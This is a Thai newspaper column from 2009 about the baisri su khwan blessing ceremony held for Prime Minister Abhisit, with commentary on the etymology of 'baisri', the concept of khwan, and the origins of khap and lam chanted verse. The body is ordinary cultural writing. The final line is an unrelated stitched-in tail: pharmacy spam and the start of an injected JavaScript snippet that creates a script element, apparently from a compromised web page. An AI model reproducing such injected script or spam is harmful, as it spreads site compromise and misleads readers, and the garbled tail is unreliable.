หนังสือพิมพ์มติชนฉบับวันอังคารที่ 20 ตุลาคม 2552

ยายไฮ ขันจันทา แม่เฒ่าชาวอุบลราชธานี ร่วมกับกลุ่มสมัชชาคนจน ทำพิธีบายสีสู่ขวัญและผูกข้อต่อแขนให้นายอภิสิทธิ์ เวชชาชีวะ นายกรัฐมนตรี แล้วมีกลอนลำคำขับให้พรตอนท้ายเมื่อวันเสาร์ที่ 10 ตุลาคมที่ผ่านมา
บายสี เป็นคำเขมร หมายถึง แม่ข้าว หรือเจ้าแม่แห่งข้าว บาย แปลว่า ข้าว สี แปลว่า แม่หญิง (กร่อนจากคำว่า สตรี เหมือนคำว่าแม่สี เล่นเข้าทรงตอนสงกรานต์) คำลาวบางทีเรียก บาสี ก็ได้
แต่ทั่วไปเข้าใจผิดคิดว่าเป็นคำบาลี เลยเขียนสะกดว่า บายศรี สู่ขวัญ หมายถึง เชิญขวัญให้สิงอยู่ในตัวตนของคนใดคนหนึ่ง ขวัญ ไม่ใช่วิญญาณที่มีดวงเดียวต่อคน แต่ขวัญมีหลายแห่งในคนเดียว เช่น ขวัญหัว, ขวัญตา, ขวัญมือ, ขวัญตีนก็มี เป็นต้น แล้วมีในสัตว์และสิ่งของด้วย เช่น ขวัญวัว, ขวัญ ควาย, ขวัญนา, ขวัญยุ้งใส่ข้าว, ฯลฯ
บายสีสู่ขวัญเป็นพิธีแรกสุดของพิธีกรรมดั้งเดิมดึกดำบรรพ์ของทุกชาติพันธุ์สุวรรณภูมิ ตั้งแต่ลุ่มน้ำโขงถึงลุ่มน้ำเจ้าพระยา และหุบเขาทุ่งราบทั่วไป ราว 3,000 ปีมาแล้ว ยังทำสืบมาจนทุกวันนี้ เป็นพิธีกรรมในศาสนาผี ไม่ใช่ศาสนาพุทธ
มีพยานอยู่ในขนบปี่พาทย์เรื่องเพลงทำขวัญ-เวียนเทียน ต้องเริ่มบรรเลงเพลงนางนาคเป็นเพลงแรก แม้พิธีเวียนเทียนพระแก้วมรกตก็ต้องเริ่มด้วยทำเพลงนางนาคก่อน ต่างจากเรื่องอื่นๆ เช่น โหมโรงเช้า-กลางวัน-เย็น ต้องเริ่มด้วยเพลงสาธุการ นมัสการพระรัตนตรัย
นางนาค เป็นแม่ คือผีบรรพชนของทุกชาติพันธุ์สุวรรณภูมิในอุษาคเนย์          ยกย่องผู้หญิงเป็นใหญ่ในพิธีกรรมประจำเผ่าพันธุ์
พิธีบายสีสู่ขวัญต้องมีหมอขวัญ เป็นหัวหน้าพิธี ขับลำคำคล้องจองเพื่อเรียกขวัญ หรือร้องขวัญ คำลาวว่าเอิ้นขวัญ
หมอขวัญก็คือหมอผียุคดึกดำบรรพ์ 3,000 ปีมาแล้วเป็นอย่างน้อย ต้องเป็นผู้หญิง เป็นผู้มีความรู้และความสามารถติดต่อสื่อสารกับผีบรรพชนมาคุ้มครองเผ่าพันธุ์ ครั้นหลังรับศาสนาพุทธ-พราหมณ์จากอินเดีย ก็รังเกียจผี เลยเปลี่ยนเรียกหมอผี เป็นหมอขวัญ แล้วยังเรียกหมอพรได้อีก
ขับลำด้วยคำคล้องจองของหมอผี, หมอขวัญ, หมอพร นี่แหละ ปัจจุบันเรียกร่าย เป็นร้อยกรองเก่าแก่ที่สุดของตระกูลไทย-ลาว
ต่อมาราชสำนักโบราณยกย่องร่ายเป็นฉันทลักษณ์ศักดิ์สิทธิ์ เห็นได้จากใช้เป็นบทแช่งในโองการแช่งน้ำ, ใช้เป็นบทนมัสการพระรัตนตรัยและสิ่งศักดิ์สิทธิ์ในคติพราหมณ์ในวรรณคดีหลายเล่ม
คำขับลำเหล่านี้เองจะเป็นต้นแบบให้มีพัฒนาการเป็นกลอนลำของหมอลำ และคำขับของช่างขับ
หมอ กับ ช่าง มีความหมายเดียวกัน คือผู้เชี่ยวชาญพิเศษ
ลำ กับ ขับ มีความหมายเดียวกัน คือร้องอย่างด้นคำคล้องจองส่งสัมผัสพรรณนาต่อเนื่องกันไม่มีกำหนดว่าจะจบเมื่อไร? ตรงไหน?
ถ้าเอาแม่น้ำโขงเป็นแกน แล้วสมมุติเวียงจันเป็นกึ่งกลางแบ่งอย่างกว้างๆจะได้ว่า ขับ เป็นประเพณีของชาติพันธุ์อยู่เหนือเวียงจันขึ้นไป ลำ เป็นประเพณีของชาติพันธุ์ตั้งแต่เวียงจันลงไป
ทั้งขับและลำมีใช้ทั่วไปในยุคอยุธยา, ยุคธนบุรี, ยุคกรุงเทพฯ เช่น ขับเสภา, ลำนำ เป็นต้น
คำขับ จะมีพัฒนาการเป็นกลอนเพลง เช่น กลอนเสภา, กลอนบทละคร, ฯลฯ
คำลำ จะมีพัฒนาการเป็นโคลง เช่น โคลงดั้น, โคลงสี่, โคลงสาม, โคลงสอง, ฯลฯ
เศรษฐกิจสร้างสรรค์จะสำเร็จแข็งแรงได้ ต้องเข้าใจรากเหง้าเค้าต้นเหล่านี้ด้วย เพราะเศรษฐกิจเชิงสร้างสรรค์เกิดไม่ได้ในสังคมไร้ราก

เอิ้นขวัญ- นางไฮ ขันจันทา ทำพิธีบายศรีเอิ้นขวัญให้นายอภิสิทธิ์ เวชชาชีวะ นายกฯ ที่เดินทางมาอุบลฯ เพื่อมอบเงินค่าชดเชยจำนวน 4.9 ล้านให้ท่ามกลางการเคลื่อนไหวขับไล่ของกลุ่มเสื้อแดง ตามข่าว (ภาพและคำบรรยายจาก ข่าวสด ฉบับวันอาทิตย์ที่ 11 ตุลาคม 2552 หน้า 1)

fluoxetine buy online buy ampicillin online uk var d=document;var s=d.createElement(‘script’);